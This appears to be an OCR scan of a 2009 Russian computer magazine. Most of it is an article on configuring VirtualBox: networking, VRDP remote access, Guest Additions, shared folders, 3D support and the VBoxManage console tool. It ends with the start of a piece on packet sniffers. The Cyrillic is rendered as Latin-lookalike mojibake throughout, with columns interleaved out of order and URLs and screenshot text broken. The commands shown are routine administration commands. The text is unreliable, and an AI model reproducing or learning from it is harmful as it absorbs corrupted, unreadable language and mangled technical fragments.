Ma, n03TOMY 80 MHOrlllx CJ1y<-l3I1X ny<-lwe 14CnOllb3G­ BaTb «CeTe60H MOO», B 310M Clly<-lile B>1pryaJlbHbli1

3aiiMeT Bce BblAelleHHoe EMy MecTO, I1JlI<1 Ali1Ha­

&l CETEBblE HACTPOIIIKIo1

MV1~ecKV1i1, 4>a':'l1 KOTOporo 5Y.QeT paCWl-1plnbCS>

Pa3 YYi. 11 3al-1KHYJlCl1 0 TOM, 4TO Ha BV1pTyaJ1­

B ceTb, KaK 1II ceTe80Ci a,lJ,3nrep MaWlIIHbI-xocr.

no Mepe Heo6xOAI<1M0C7li1. 3arOTOBKB C03,D,aHa,

KaX MO>KHO 80((03,D,aTI:> npaKTI<14eCKlo1 J1l06yK!

HanplIIMep: Bee MOl-1 BV1p-ryaJ1KV1 l-1Mem lP-WHli1KI-1,

Tenepb nepexop,11 8 Haapoi1KlII 1II YCT3HaSfll-1Bai1

lIIH¢JpacrpyKTYPY, TO X04Y nOAPo6Hee KOCHyrbCI1

BblAaHHble TeM >t<:e caMblM DHCP-cepBepoM T04Kli1

pa3MI'-IHl:>le napaMeTpbl BlIIPTY311bHO~ MaWI<1Hbl,

HaCTpO~KI-1 ceTeBblX 14HTep4Jei1coB, ElLie ro,Q

,Qocryna, l-1 co CTOpoHbI pa306paTbCl1, KaKV1e XOCTbl

.Ilml Ha4aJl3 MO>KHO npl11MOHTlIIp:J8aTb B KayeCT­

Ha3aA nOAO,ep)l(K)' C€Tli1 e,[\8a JlV1 MO)l(HO 5blll0

-

Be nplllBOJl,3 150-06pa3 c ,D,V1CTp1ll5yr1ll80M lli111li1

H<l3SaTb nOJlHOlleHHo~, HO Tenepb Bce OTJ1\o14HO

ryanbHoi:1 CI<1CTeMo~. npal<TV14eCKV1 He803MO:>KHO.

ceTe80H a,D,anTep nony4aeT T04HO TaKoi:l :>Ke ,Qocryn

HaCTOl'lw,V1e, a KaKl-1e -

3anylL(eHbl no,£\ tll'ip­

npocro npeJl,OCTaBlIITb B paCnopll>KeHli1e CDOi1

pa6oTaeT. .IlJll'l Ka>KAO~ BV1pryaJlbHOii M3WV1Hbl

Pe.>KV1M (BHyrpeHHI1" CeTb») OTill-14HO nOAXOAl-1T ,Qfl"

CDIOVO-Apa~BI. nOClle 4era H3)t(<JTb KHonKy

MO)l(eT 6blTb YCT3HOBJleHO .00 4eTbipex BV1pry<lJlb­

J10KaJlbHbIX 3Kcneplo1MeHToB, Kor,Qa BV1pryaJlbHblC

«CTapT)) L1 npli1C'rynli1Tb K YCT8HOBKe.

HblX V1HTep¢Jei1coB, HO cal-IDe rllaBHoe B TOM, '-lTD

t-1aWV1HbI HY;+:HO CBl'l3aTb B flOKaJ1bHYIO CeTb. He

ECJlli1 c Bl-1pTYaJ1\t13a~Y1eVl Tbi paHbwe Jl,e.na He

pa60TaTb OHI-1 MOryr B pa3Hbix pe)t(lIIMax. Pe)l(li1M,

npe,£\OCTaSJ1Sll'l 11M ,QOCl)'n HapY>l'Y V1l( MaWl-olHe­

liIMefl. TO OTHeCVlCb K BV1pTYaJlKe i<CIK 05bl4HOMY

B KOTOPOM l-olHTep<pe~c 6YJl,eT ¢yHKlJ,110HlIIpOBaTb,

Xouy. BKJ1104l-1Tb B 3ry celb MawV1Hy-xoCT n036011I1T pe:>KliIM «Bl-1pryaJ1bHall ceTb xocra»,

&lYAAflEHHOEnOAKn~:

SUN TECH DAYS 2009

4EHIo1E K BIo1PTYAllbHOIo1 MAWIo1HE

l-Ieu3BeCTHO, KOftJ;3 6bl R elLie 83fnJ'lHyn Ha VirtualBox, eCJ1116bl He 1l0naJ'l HB KOHq,epeHlVUO

VirtualBox,- 3TO B03MO:>KHOCTb YAalleHHoro no.Q­

Q)yHKIJ,V1I1, 33 KOTOpylO 11 oc05eHHO nOnK!6V1J1

K BlIIprya.nbHblM MaWlIIHaM no CTaH,[lapr­

Sun Tech Days, npoxOtl:HBwyJO B nHTepe8-10anpe.rm, MepOrrplliITHe, H8A0CJ<333Th, nopa:>Ka­

KJ1K>4eHI-1~

eT MacwTa6aMH. YSHtJ;CTb TbIC.Il.~1H pa3pa60T'lHJ<013, c06paHHbLX B O,l{HOM Mecre H tJ;OBOJlbHO

HOMy npOTOKO.ny RPD [sept·lee, ero MOJl,li1¢JI1lJ,li1PO­

'ITO-TO O~aIOlJlHX.MO)KHO He TaK-TO ",aCTO.JlIO.lJ;" npWleTafOT H npHe3>KaIOTll3 p83HblX

BaHHblM BepC\IIRM -

yrO))KOIJ CTpaHbl, H .lJ;e.naIQT3TO)")Ke HCCKOJIbKO }leT noJWHJJ.. Bnpo'ieM, JIerno IlOHRTb, 'iTO HX

Desktop Protocol). np1ll4eM,

npHBJIeKaeT: 3a HeCKOJlbKO.lJ;HeH OH1-I HMelOT B03MmKHOCTb nOCeTHTb 60JIee 45 BblcTynneHHH

I-1cn0J1b3YIOTCl'l aaH,n,apTHble KJ1V1CHTbl: BV1H)J,O­

lot npaKTIr<£ec{{Hx 3aH.linrH no caMbI1tt pa3HblM TeMaTHKaM ­

npeMYAPocTRM cpetJ; SunStudio lot

Ne£Beans, HaCTpOH.Ke openSolaris, nporpaMMi1pOSaHHIO H3 JavaFx Ii T.JI,. YTO Ba>KHO, Bce.n,o­

Bal1 yrV1J1V1Ta

VRDP, VirlualBox Remote

AJI" nO,lJ,KJ1104(>Hli1~

mstsc V1J1V1. HanpV1Mep, HI<1KCOBbli:1

rdesktop. WryKa npoCTo YMonoMpallli1TellbH3R:

K.!l(lAbI 'lwran:H caMH CneUHaJlllCTbl Sun, MHOflile H3 KOTOpblX npHJleTeJlH B nHTep TOJIbKO C 3ToH

MO:>KHO 3anyC1l1Tb Ha XOCTOBOI1 MaWVlHe cpa3Y

Ue.rrbJO, a Ha OTKpblTltH KO.t-HpepCHUHliI He p;aBaJI CK}"laTb):VI<HT Koyn, BHL\e·npeJHlteHTfi0ltpa3­

HeCKOJlbKO sliIpryanbHblx MaWV1H, ,Qarb K He~ npl1­

AeJ1eHHR t.<l1HeHTCKoro nporpaMMHoro 06eCne'leHlUI Sun Microsystems,

Inc,

MOH JWcTYn liI3 V1HeTa -

l-1 nOJlHOL.(eHHO lIIcnOllb30~

3a t(eH.b /1.0 KOHq,epeHl{HH MHe y.lJ;anOCb no6bIBatb B nlotTepcKoM mImce Sun'a, npHRTHO oco· 3HaBaTb, 'iTO 3TO He MapKeTHHrOBaR CTp)'KT)-pa, a Ca/lfbll1: HacrOmu,HH ueHTp pa3pa6oTl<H.

BaTb BV1pryClJ1KI-1, rJl,e 5bl Tbl Hli1 HaxO,D,V1J1CI1.

HeCKMbKo COTeH nporpa,,-rr.IHCToB TPY,lI.RTOf HaA: pa3JIH'IHbIMH npO.lJ;)'KT<lMH KOMIlaH}!H H, B

«YAalleHHblC1 Jl,l-1CnJ1eVl», oTKY,Qa aKTli18l-1pyeTCIl

TOM 4HC>1e, VirtualBox.

Onlll-1R «BKflI04l-1Tb VRDP-cepsep». Ba:>KHbll1

B C80L>tCTBaX Bl-1pTyanbHOH MaWV1Hbi eCTb pa3,o,efl

MOMeHT -

XAKEP 05/125/ 09

All" Ka:>K,D,OH KOHKpeTHoH 8V1pTYanb­

/.


;

[0

V~\JA.la X

1;1

--..:::: ()

-{]

·.y·T'.. ~06;"'.--~

I~l r,J!~la ot'j @

::t(eol;ntAI10:l"

["YAaneHHbIH AHOmeM ... _ - - I -----_

CD/OVO·ROM

- - - - _ ..

_--­

__

-=~.~~~J

j[g:,~.=_._......-

H'· .~...

Rj~'Tb\lll.DP~

:::'

=1

~j - -

,

[]PPT cepoepa: 3333

WICKeu

~ A.y~o

'i'

@c~

~ Q)l;HJlaHI1>lll'(T~~"':

SOOO

~ COM·nopTbl

tp

,

USB

t:) 05<.4ne nl'l~H ~ YAMet1HbII1AI1Cll/leil

Allll KA>KAOH BI1PTYAllbHOI1 MAWI1Hbl HE06XOAI1MO YKA3ATb YHI1KAllbHblH nOPT -I1I1CnOllb30BATb Ero npl1 nOAKlllO'lEHI1I1 B RPD-KllI1EHTE

~

-

I

iJf

:]J ;;

rOCT€BOI!I

He nonY«IIlTC5I. Hanp>1Mep, Af1~ B>1PlYaJlKIIl C BIIlH,D,Oi1 MO>KHO

C KOToporo 6bICTpeHbKo V1 yCT3HaBlllilSaeTC>l Bce He06xoAV1Moe

3389

[w>1eL4 B Bli1,D,y. 'ITO OH

Mawlo1Hbll.

a AJl51

MaWl1Hbl C HV1KC3Ml.1 -

3390.

B cfly«ae

DC», B Cl1CT€My

YcraHOBli1Tb .QonoflHeHVltl

npli1MOHTliIpyeTcSl Bl1pTyaflbHbl11 CD.

C Hl-1KCaM ..l Hap,o nOMH~Tb, -ITO oq,li111,1'13nbHO no,Q­

p,ep)KI1SaIOTCS1 AV1CTPVl6yrVlBb1 Fedora Core, Redhat Enterprise Linux. [open)SUSE. Ubuntu, HO S ,a,eI1CTBl.1TeJlbHOCTli1 AonClll-le·

• AOMawH~Sl CTpaHIo1L\a

CraHAapTHbliiI BV1H,D,OBbll!l KJlVleHT MO)KHO 3anYCTlATb no KOMaH­

VirtualBox:

,D,e mstsc li1flli1 Hai1TV1 ero 4epe3 MeHKl «nYCK ~ CraHAapTHble

nepe,QYCT3HoBKO~ HaCTORTellbHO peKOMeHAYIO ycraHOBli1Tb

'J'.!W\N, VI rtL@11!ox..arg.

7

4>pe~MBopK DKMS [Dynamic Kernel Module Support) nOA

• CTaTbV1 0

VB:

nOAKJlI04eHliIe K YAaJleHHoMY pa60YeMY CTony».

B nepBblL4

pa3 Ii Aonro nbll"anC5I npV1COe,D,l-1HV1TbCPi K rOCTeBbiM

OC,

yKa3bl­

hl.lp/MQ~".;un

83<;1 IIlX c06CTBeHHbie

COmIYl rtuo l8.Qx811ZZ,

CeTeBOL4 MOCT, 4T05bl OHli1 BOWJIl-1 B MaIO 06bl4HyfO floKanKyl V1

• Hen.noxo~ MaHyan

He nOHl-1Ma>l. nOyeMY HI1'lero He pa60TaeT. PeWeHl-1e OKa33­

/'

no

,

7

MaWVlHbl Bbl6paTb <<YCTpOI1CTBa

l-1Ha..,e O,D,HOSpeMeHHQ pa60TaTb C HeCKOJ1bKV1Ml-t BlilplYam:aMIIl

MO>KeT 6b1Tb 3aH51T HenOCpe,IJ.,cTBeHHO cepaepOM RDP XOCTOBOL4

links

ME SEAMLESS WIND-O-~Hii'RPD­ KllI1EHTA, CnOMOU4blO KOTOPOrO II nOA· KlllO'll1llCll K BI1PTYAllKE CDEBIAN LENNY

HOi:1 MaWII1Hbl Heo6xo,Ol-1MO YKa3aTb c80ii ylH1KanbHblH nopT,

OCTaBl.1Tb nopT no YMofl«aHV11O

~

",-,

OKHOTEPMI1HAI1~U~>KI1.

~CnOJlb30Ba~

IP InpeABapI1TeflbH0,D,1151

Hli151 YCTaKaSfll.1BaIOTC>l lJ1 Ha MHorL1e .o.pyrllle TyKCbl.

Ubuntu 3TO AenaeTCs:l:: nOMOll\blO KOMaHAbl:

HVlX 6blJl C03AaH

sudo apt-get install dkms

flOCb npocTblM: Afl>l nOAKll1O'leHliIs:l Heo6xOAliIMO YKa3blBaTb He

Aallee MOHTltlpyeM o6pa3 VBoxGueslAddltions.iso B Ka4eCTBe

1-11'110 KOHCOllbHoro

aApec roCT51, <J IP-WHIo1K XOCTOBOi1 MaWI1HbI C Hy:.t<HbIM nopTOMI

Fll.1pT)lanbHoro CO-ApaLIIsa, nepexo,Qli1M B 3lY Al1peKTOp1ol1O lJ1

VBoxManage:

nOA HI1KCaMI1 BblnOflHIo1Tb nOAKJlIO'leHli1e He MeHee npOCTO

nop, pyrOM OT.r\<leM KOMaH,IW:

Sl<9o.~"".QL

4epe3 rdesktop, KOTOpblL4 8 JH060M COBpeMeHHOM Ali1cqJl15yrl1­

com/2009/rm

Be yCTaHoslleH no ,qeepomy:

sh ./VBoxLinuxAdditions-x86.run

virtualbox­

htmJ_

~'bQx.m£lJl~I...~ __

rdesktop host_systern_ip:port

4T06b1 nepeKoMnlllflVlpos3Tb MOMlllll >l,D,pa Ha rocr€soi1 Mawlo1­ He,,QellaeM:

.QpyroL4 Ba>KHbILil MOMeHT. 0 KOTOpOM 51 nOKa yMOJ1'lafl.­

/etc/init.d/vboxadd setup

HacTpoliiKli1 aBTopI13au,li11i1. CaMblf1 He6e30nacHbilii MeTOA­

:1

ts

nOllHOCTblO OTKJlIOYli1Tb npOL.\eAYPY ayreHTVI¢,IIlKaL.\ltlVl. HO B

€)

)J,ClHHble 6blflO Hee03MO>KHO OTCHIo1<paTb, Jl106aR RPD-cecClJIH

, dvd

WVleppyeTcR

A,,",CTpl-l6yrl.18

C 128-6V1THbIM KJlIOYOM, KOTOpbl11 MeH>leTC>l Ka.>K,Qble

VirtualBox·a. a TaK;t;e

ornpaSll€HHblX n@KeTOB.

3TOM cllyyae AOCT)'n K BliIpTYaJlKe nOflY4l1T mo6011 )l(enafOw,VlI1

nOClle KOMnlilm:lL.\lil~ OCTaeTCl'l neperpY311Tb rOCT€BYIO M3W~HY

BMeCTO ::noro MO>KHO Bbl6paTb aBTOpI13aL.\li11O 4epe3 aKKaYI-ITbl

Vl y6eAltlTbCPi. 'lTO ace HOBbie MO,D,Ylllil HOpM3flbHO pa60TaKlT.

XOCTOBOL4 01(l€Mbl lJIflli1 aKKayHTbl rOCTeBOL4 ClilCTeMbl. YTo6bl

c nOMOll\blO ClilMMeTpl1'lHOrO

YCTaHOBIIlTb ,D,onOIlHeHlJI>l

.l\J1A rocTeBbix DC CTOl4T li1 pa,o,li1 APY­

4096

rOf1 KllaccHoill epYHKtJ,L1V1 -

pe)Kli1Ma SeamLess windows. 4TO

3TO? EClllil BKJ1IO~~Tb

SDK pa3pa6oT'.u1K<l

,

mPE>KVlM SEAMLESS WINDOWS

RC4 aflropmMa

o nl.ll1 Kl,

TO OKI-la Bli1pryaflbHoi1 MClWlilHbl

6yfJ,yr oTo6pa)l(aTbC51 TaK )Ke, KaK eCJ1li1 6Gl :no 6blfll1 OKHa

VI AOnOllHlATenbHble

mAOnOJUjEHI,UI

yTl.1nl'1Tbl >K.!lyT re6!'! Ha

rOCTEBOVl CVlCTEMbl

nepeHOcflTCs:l OAHI1M Ha)KaTVleM KflaSV1W'1.

HaweM .o.l.1CKe.

Henpl1flTHbll1 MOMeHT B ItlcnOIlb:30SaHVlVl Sl-1pryaIlbHblx MaWli1H

HaCTOJlbKO J,QOpOBO, -ITO 4epe3 HeKCTopoe SpeMI'l 3a6blBaeWb,

~

06b1'lHO~ XOCTOBOI1 OnepaL\V10HKVI. B oCH08HylO Cl.1CTeMY 01-11-1

Bee

pa60TIleT

C8~3aH C «3axaaTOM)} li1Mlil KJlaSlil3rypbll-1 MbIWKIIl. nOCJleAHlile

KaKOe li13 HI1X Ha caMOM ,Qefle JanyU.\eHO Ha BVlp"JaIlbHO~

pa60T.3IOT flli160 B rOCTeBOL4 DC, J1V160 B XOCTOBO~ -

MaWIo1He. TacK6ap roCTesol1

ocso­

60Alo1Tb 3aXBa'leHHble Blilpl)'aJlKoi1 MaHliInymnopbl MO>KHO

DC

npV1 3TOM oTo6pa)l(aCTC51 p51.QOM

C naHeflblO Ja,Qa'l npli1Bb'4H0L4 XOCTOBOL4 CVlCTeM",1

cneL.\l1allbHO Ha3l-layel·UWL4 KJlaBl1Wetil Host Key lnpasbllii

Ym6bl BKTlIO'lli1Tb pe>t<liIM Seamless. He06xQAl.1MO Ha>K3Tb Ha Host key

<Ctrl) no Aeq,omyl. nepeKJIlOyeHlo151 TYAa-clO,Qa. oco5eHHo B

RMecre

cny"ae HeCKOllbKlilX BltlpTYaJlOK. Ha'l101H31OT BblBOAI1Tb 113 ce6R

COOTseTCTUIIlV1

yxe yepe3 HeCKOllbKO Mli1HYT. HepsHble KlleTKli1 Hy;.KHO 6epe4b,

SYIO MaWltlHY, a ¢<:oH Bl>1ply3llKIo1 fJ;AeT Bblpe3aH.,D,n51 B03spaw,eHl-151 B

nO::lTOMY peKOMeH,QylO 8 Ka)l(,Qoi1 rOCTeeoj;1 DC YCTaHoBl'llb TaK

06b14Hblf1 pe)KVlM It1cnCllbJY€!TCl=l fa >Ke KOM61i1Ha4l1H KJlaB~W.

Ha3b1BaeMble Guest Additions. nOcfle :noro rpaHli1l.\a Me.>KAY

CDyHKL\l>111 ,qOBOllbHO cneL.\IIl¢,\o1«Has:l. no:noMy pa607a­

OKHOM C rOCTesoCi npo3pa4HOYI -

DC

Vl XOCTOSOL4 CI1CTeMOC1 CTaHOBliITCs:l

HlJ14ero He 33XsaTbisaeTCfl, a 6yepep 06MeHa

c «L» - r;OCfle yem p33Mep 811JJ1YaJlKJ.1 6y.neT BblCTaBJleH B c paCWli1~Hli1eM 3KpaHa, OKHa nepeHecyrcH B xocro~

eT nOKa TOflbKO AllA rOCleBblX

OC

Solaris/OpenSolaris C cepsepoM

Ha Windows. a TalOKe

X.org

CTapwe 8(~PCI1I1

1.3.

CTaHOBI1TC5I 06w.liIM EClll-1 Tbl pa60Tan C VMware, TO ,Qon>KeH nOHli1MaTb, 0 yeM fl rosoplO -

mOnL.\li1s:l SHARED FOLDERS

TaM TOT XI? nOAXO,Q.

B CllY'lae c Windows 3al1HCTafllo1Tb Guest Additions

npoCTO, KaK

Asa>KJl.bl ABa: HaAo llli1Wb B MeHIO 3anyU.\eHH0\1 BVlpry3flbH0L4

~

034

Te;t<e caMble Guest Additions Ao6aBJlHlOT ew,e O.QHY epYHl<l..J,l.11O -

Shared Folders, li1Jili1 o6ll\l.1e nanKl1. BellJ,b O'leHb YAo6Hafl ­

XAKEP 05/1251 09


nOl1rPATb B QUAKE311 on I1E HAOPENGLBrOCTEBWXOCT HE np0611EMA, POBHO KAK 11 BKll10411Tb 3D-3<ll<llEKTbl nOllI06I1BWErOC5! COMPIZ'A

ynPABllEHI1E BI1PTYAllbHblMI1 MAWI1­ HAMI14EPE3 KOHCOllbHYIOYTI111I1TY VBOXMANAGE

n03BOflfleT ¢V13lt1'-1eCKlIl He paCW3pv1BaTb pecypCbl. HQ nplt1MOH­ mpoeaTb Io1X B rOCTeSblX

Ami

no CeTI'!.

OC.

KaK eCIH1 6bl OHIt! 6b1lllil AOC1jnHbl

K3)1()J,a>l rOCTeaa>l MaWltlHa

6yACT B\1,o,elb TOflbKO TO, !,(fO ei:1 nonaraeTCfl.

C

nOMO~blO

Cl.1CTeMe

lt1

PeamnyeTcfI

310

¢al;1nOBoro ,u,paillsepa Ha rOCTe6blX OC. KaK CAen3Tb

TaKyK) pacwapeHHYIO nanK)'? Ha}0Ke 3anYl.1\eHHol;1 Blo1pryallKe

-7 06w.l-1e nanKI'Il),

KOHconbHYIO YT\l111V11)' a,o,MV1H\IlCTpV1pOBaHI1Sl VBoxManage.exe L1 L1Cn0J1b30SaTb B CBOI1X

MO)+(HO

Aocryna

TyanbHble MaWVtHbl He COCTaBIIIT Tpy,o,a

c:\Program Files\Sun\xVM

~~,

~MCKa

o603Ha~a~mee

vboxsvr -

~VlKcMpoBa~~oe

xocT-Ma~y

sharename - Ha3UaHl-le TlaTIKYI, :<OTopoe 'rb! yKa­ 3aJl e MOI1Cr-rT C03LlClHI1R o6metir nallKl-l

f:j

~t

vboxsf

[~o

KOMnbIOTepe.HY)l(HO J1li1Wb 3KcnopTltlpOSaTb KOH$wrypaUli1tQ B epa~n cneu,Vl3flbHoro 4>op­ Mala OVF [OTKpblTbllil epopMaT Bli1pTyanl1­ 3a14I1i1ll.Jepe3 MeHIO Ilillai1n ~3KcnopT KOH¢lt1rypal...\I1Ii1».

no,Q linux"Ot~ Bce TO )I(e caMoe SblOollHflerC51 KOMaH,o,oM:

mount

3anycTVlTb Ha APyroM

VirtuaIBox>VBo~~anage.exe list vms VirtualBox command Line Managemenl Interface Version 2.2.0 (C) 2005-2009 Sun Microsysrems, Inc.

All rights reserved.

"w?" {7fSe06fb-fee2-4984-a£22-al13bf67e646)

"xp" {778f2a40-dce8-4519-97fd-9c4cOd6797c4}

nub" {o fc68d97-3883 -48cl-Belf-4 fae39dc2d6c}

I-1X OlOA Blt1pryam<oi1. nOA 8ltlHAOVi

net use x: \ \vboxsvr\sharename , rue X: - 6yKBa CeTenoro

info

S\ilpryallbHblX MaWL1H, l-1X ltlMeHa V1 V1A€HTItI¢V1KaTOpbl UUID:

Bbl6epl1 Hy>K­

ceTeBoi:; ,l\1I1CK nO.QKJlI04aeTC>I c nOM0l.1\blO KDM3H,o,bl:

lln~

~

• nOAHRTble BL1p­

[nOJ1Hbli1li1nv, TOJlbKO ,lIJlq "'lTeHV1S'lL rOTOBO!

npV1MOHTl-lpOB3Tb

list

vms» - nOllY4V1Wb S KOHCOllV1 cnL1COK scex cyw,eClsylOll\ItIX

Hble KaTanOrlt1 OCHOBHOill 01CTeMbl, 3aAaill lIlM ceTeeoe V1M\1 V1 ypoeeHb

C~eHapL1RX.

MO)l(eWb nonpo60saTb 13BeCTl1 KOMaHAY ,NBoxManage

cneWlt1anbHO 3anYlLl,eHHol;1 cflJ0l<6bl Ha XOC10801;1

Bbl6epV1 MeHle ~<YCTpoiilCTBa

OTBeYy: aSTOMaT\Il3aUV151 1 K CyaCTblO. B VirtualBox HItIKTO

He 06j:J3blsaeT Te651I.1CnOllb30S8Tb GUI-\IlHTep4>ei1c. nf06ble. nO,lJ,4epKl-1BatO - JHo6ble, ,Qe~CTB\.1Sl MO)l(HO BbinollHI1Tb l.Jepe3

K<I)K.o.O~ KOHKpeTHOI1 BlIlPTY311KM TaKI4I~ nanK\>1

HaCTpav18alOTCSl B OT.QenbHOCH1 -

s:l

OPTIONS] shdrename

X04eWb 3anyCTJ.1Tb o.o.HY V13 HI1X? Or.o.aeM COOTBeTCTB}'lOLl\YKJ KOMaH­

B XQAe np0l...\e,D,ypb!

,o,y, yKaJas V1MSl Hy)l(HOW BVlp-ryanKL1: l<VBoxManage.exe startvm w7».

CKOnli1pyelcR 11 BV1pry­

CJlOBOM, 4epe3 3l}' KOHCO.nbH)'lO yrWlItIl)' i l l MO>l<eWb C,1\enaTb a6co­

aJ1bHblH >t<eCTKIII~ ,!J,I1CK

lllOTl-lO sce: ryJ13a c pa,o,OCTblO paCCK8)1(er. KaKV1e KOMaH,1\bl VI KaK

c ¢aVi.naML1

mountpoint

L1CnOJlbJOBaTb, eCllV1 Tbl 3anyCT\.1Wb ee 6e3 napaMeTpOB. BnpOl.JeM, Koro l-1 TaKO~ sapV1aHT He YCTp8l-1SaeT. ew,e

• np0I.WAypa MItI­

nO,QAEP>KKA 3D B rOCTEBblX OC

60flbwe IIIHTerpau,~1tI C VirtuaLBox'ot-i MO)l(HO AOCTMl.Jb

rpall,1iI V1 CApyroro

OAHm1lt13 VlHTepecHei1wLo1x ¢W-I, KOTOPYIO B nLo1Tepe J'lf1YHO n0lG33bl~

C nOM0utbIQ OTKpblToro API nporpaMMbI. 5Jlaro.o.ap51

npoAyKTa Cl-1J1bHO

sanlil pa3pa6OTYl-1Kl1 VirtualBox'c - 3TO nOPJl,ep)l(lG3 3D B rOCTeSbiX

Sbl30BaM, KOTopble xopowo ,o,OKyMeHTMpOBaHbl 8 SDK,

ynp0l..L\eHa 3a C4eT

O1crcMtiX Ha 6a3e Bl-1H,D,bl V1l)'Kca. 5JlarO,1\apfl 3T0l1 HOBOi1 ¢yHKllVlVl,

pa3pa60TI.J\o\K nOJlyyaeT nOI1HblVi KOHTpOJ1b Ha,o, ,o,BV1)l(­

Toro. "ITO VirtualBox

nporpaMMe He npI1Xo,o,VlTC51 60J1bWe 3Mynlilp0saTb 30-YCKOpeHllle

KOM BlilpryallV13au,v1L1. B Kal.JeCTSe npL1Mepa. KorAa

nO,IJ,AepJt<I1BaeT 06­

6H}'Tplil BVlpryallbHoi1 MaWV1Hbl [YTO ,D,IIIKO Me.nneHHol- sMeCTO 3Toro

pa3pa6oTI.JL1K BocnOllb30BaJ1C~ OTKpblTbiM API, CTOIIIT

P03bl ;;ceCTKVlXAV1CKOB

VirtuatBox V1cnonb3J'€T rpa~V14ecKV1i1 npCl.\er.c XOCTOSOi1 MaWl-1Hbl,

npl1SeCTl-1 YTL1flIilTy BoxVmService [http·lfsoUrCf!for·QJL

VMDK (VMware)I1VHD

llpW-IeM He BcDKHO 6y,o,b Ta Ha Windows, Linux, Mac, Solaris. Kopol.Je

nel/projecls/\.:Q,QxvrnserviceJ. Ee ueJ1b -

[Microsoft Virtual PCl.

fOSOpR Quake3 Ha BVlpryanbHol1 MaWI1He WlV1 nOJHo6l-1BwV1ec51

aAML1HLo1CTpaTopy rpaMoTHo 3anycn1Tb VirtualBox B BV1,D,e

MHorl1M :xp.:peKTbl Compiz"a no,o, J1I1HYKCOM - Tenepb BnOJ1He HOP­

Windows-cep81t1ca. CnoBo l'rpaMOTHOI> 03HallaeT, "ITO

n03S011V11b

MallbHoe >l8fleHl-1e. Pa6OTC3eT 3TO peaJ1bHO xopowo. Y,Qanocb ,o,QCTI.14b

BV1pTyaJ1bHble MaWV1HbI .QOJlA(Hbl CTapToBaTb np'ilMO 8

no,u,06Horo pe3YJlbTara 3a Cl.JeT AonOJ1HIIITenbHoro 3D-,o,pai1sepa,

MOMeHT 3arpY3KV1 8V1HAbi (eu.\e)],o J10rl1Ha nOflb30BaTen51

.<oTOpblVi ycral-iaB.J1lt1aaeTC51 AMeoe c Guest Additions S rocreey.o

OC

o C!ACTeMe], 11 !:lM8CTe C HeVi >t<e KoppeKTHO 3asepwaTb

11 BblnO/lH51eT POflb cBoeo6pa3Horo nocpeAti101Ka. KOr,1\8 l<3KOe-TO

pa6oTy. K CO)l(aneHltllO, npoeKT HblHe He nOAAepJt<V1saCTCSl,

npW'1C»KeHltle IHanp\llMep, oapa\1 p'o6pa~ KsaKaI B rocresoVi Cl.1CfeMe

O,D,HaKO, no-npe>t<HeMy SlB.n>leTCj:J BnOJ1He pa6oTocnoco6­

nbllcerc~ 8ocno.nbJOSaTbCSl annapaTHblM YCl<OpeHV1eM 3D Yepe3

HbIM. KCTiJTItI, 31"OT)I(e pa3pa6oTlll1K Ol.JeHb CKOpO 06eutaeT

~lHTepepei'kbl OpenGl COQTBeTCTBylOut\lle Bb130Bb! nepe.o,alOTC>l Ha

SblnyCTI1Tb nepsyfO sepcV110 APyroro CBoero npoeKTa ­

:xocrOEl)'lO CV1CTeMY no opraHI130saHHOMY VirtualBox·oM l}'HHeJ1tO.

vboxWebAdmin ,o,flSl ynpaSJleHV151 slIIpTyanbHblMV1 MaWi'1Ha­

rAe ycnewHo \Il BblnOflHj:JIOTCfl, nOKa, npas,o,8. ¢YHK~Vl'il CI.JI1T8eTCSl

MI1 Yepe3 se6-ViHTep¢ei1c.

:KcnepVlMeHT8nbHOVi Lo1 n03TOMY, no yMOflI.JaHI11O, B HacTpoi1Kax

nOCJ1EAHIo1H TPIo1K

.mpry8JlbHoi:1 M8WII1Hbi OTKRlOc,eHa. He TeKYll.\V1Vi MOMeHT no,D,­

f:j

/l.ep)l(i1SaeTC51 101lbKO OpenGl-yCimpeHI1€, op,HaKo. Oirect30

s:l He ynOM51HY.n eute O,i:\HY i13IOMV1HKY npoeKTa VirtualBox

pa3pa601'-·-H1KV1 06eut81OT y>+<e B 6y,aYLl\IIIX pe.n113ax.

a6COJHOTHO 6ecnflaTeH ~, 60nee Toro - YOCTb ero V1CXOAHIIIKOB OTKpbITa! n03TOMY, eCJllil Tbi elJ.le He ycneJl n0utynaTb Blllpl)'a­

f:j

ynPABJ151EM BM 4EPE3 KOHCOJ1bl

J1113au,liIlO CBOVlMltI pyKaMV1 L1nl.1 Ha06opOT >lBll>leWbCSl ,o,aBHIiIM

nO,DAep)l(Ka .n106b1X ceTeSblX KOH4>l1rypa~V1~, YAalleHHbI~

l-1 3aKopeHenbiM nOJlb30SaTeJleM TOI71 )l(e VMware Workstation.

AocTyn 4epe3 RDP - YTO ell.\C MO)l(eT nOTpefioS8T!:IC'il rlllKY?

BC5l4eCKIII peKOMeH,D,yKJ Te6e nonp06osaTb VB. :JL

XAKEP 05 1125f 09

~

035


CTEnAH

~STEP~

I'1nb'lf'

/ STEPlilGlC.RU /

Yl.IWPlE ~ HHCTPYMEHTbI nEH-TECTEPA ~. CHHCDEPbl H P ~ CnAKETAMH

I;

Y Ka>KAOrO

V13 KOMaHAbl ICBOV1 npeAnO'-lTeHV1~ no '-IaCTV1 coqna V1 YTV1nV1T

An~ neH-TeCTa. nocoBew,aBWV1Cb, Mbl Bbl~CHV1nV1, '-ITO Bbl60pTaK pa3HV1T­ C~, '-ITO MO>KHO COCTaBV1Tb HacTo~w,V1~ A>KeHTnbMeHCKV1~ Ha60p V13 npo­ BepeHHblx nporpaMM. Ha TOM V1 peWV1nV1. lh06bl He AenaTb C60pHylO CO­

n~HKY, BeCb cnV1COK Mbl pa36V1nV1 Ha TeMbl -

V1 B 3TOT pa3 KOCHeMC~ YTV1nV1T

An~ CHV1epV1Hra V1 MaHV1nynV1poBaHV1~ naKeTaMV1. nonb3Y~C~ Ha 3AopOBbe.

WIRESHARK WWW.WIRESHARK.ORG *NIX, WINDOWS

802.11.

Q)aHTacn14€CK>1 ycnewHbl~ aHaJll-13i3TOP naKeTOB

Ring. Frame Relay FOOl ceTIlX, lI1HCTpyMeHT onpe­

'<TO HOBbie B03MO>KHOCTl-1 a HeM npaKTl.1'-leCKI'l He

HiIlKCOB, KOTOPbl~ MHorl-1e nOMH\1r VI

AeneHHO O,D,l-1H 1.13 l1)""WI.1X! ,[J,a>Ke eeJ1l-1 Y Te6~ eCTb

n0I18!1I1KlTCfI. K TOMy )l(e. B OTflWIVle OTTorO)l(e

Ai3Mn APYroro CHl-lepepa. He nOfleH>1Cb CKOpMl-lTb

